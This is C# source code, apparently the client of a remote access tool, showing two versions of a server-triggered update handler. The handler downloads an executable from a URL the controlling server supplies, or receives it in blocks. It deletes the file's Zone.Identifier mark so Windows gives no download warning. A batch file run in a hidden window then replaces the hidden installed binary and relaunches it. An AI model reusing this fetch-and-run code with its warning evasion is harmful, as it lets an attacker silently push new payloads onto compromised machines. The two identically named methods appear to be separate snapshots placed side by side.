public static void HandleUpdate(Packets.ServerPackets.Update command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
new Packets.ClientPackets.Status("Downloading file...").Execute(client);
new Thread(new ThreadStart(() =>
{
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Packets.ClientPackets.Status("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.Status("Downloaded File!").Execute(client);
new Packets.ClientPackets.Status("Updating...").Execute(client);
try
{
DeleteFile(tempFile + ":Zone.Identifier");
var bytes = File.ReadAllBytes(tempFile);
if (bytes[0] != 'M' && bytes[1] != 'Z')
{
throw new Exception("no pe file");
}
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.Helper.GetRandomFilename(12, ".bat"));
string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
:
"@echo off" + "\n" +
"echo DONT CLOSE THIS WINDOW!" + "\n" +
"ping -n 20 localhost > nul" + "\n" +
"del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
"del " + "\"" + filename + "\""
;
File.WriteAllText(filename, uninstallBatch);
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = true;
startInfo.FileName = filename;
Process.Start(startInfo);
SystemCore.Disconnect = true;
client.Disconnect();
}
catch
{
DeleteFile(tempFile);
new Packets.ClientPackets.Status("Update failed!").Execute(client);
return;
}
})).Start();
}
public static void HandleUpdate(Packets.ServerPackets.Update command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadURL))
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
try
{
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
{
throw new Exception("No executable file");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.Status(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
new Packets.ClientPackets.Status("Updating...").Execute(client);
SystemCore.UpdateClient(client, filePath);
}
}
catch (Exception ex)
{
DeleteFile(filePath);
new Packets.ClientPackets.Status(string.Format("Update failed: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new Packets.ClientPackets.Status("Downloading file...").Execute(client);
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
Helper.Helper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Packets.ClientPackets.Status("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.Status("Updating...").Execute(client);
SystemCore.UpdateClient(client, tempFile);
}).Start();
}
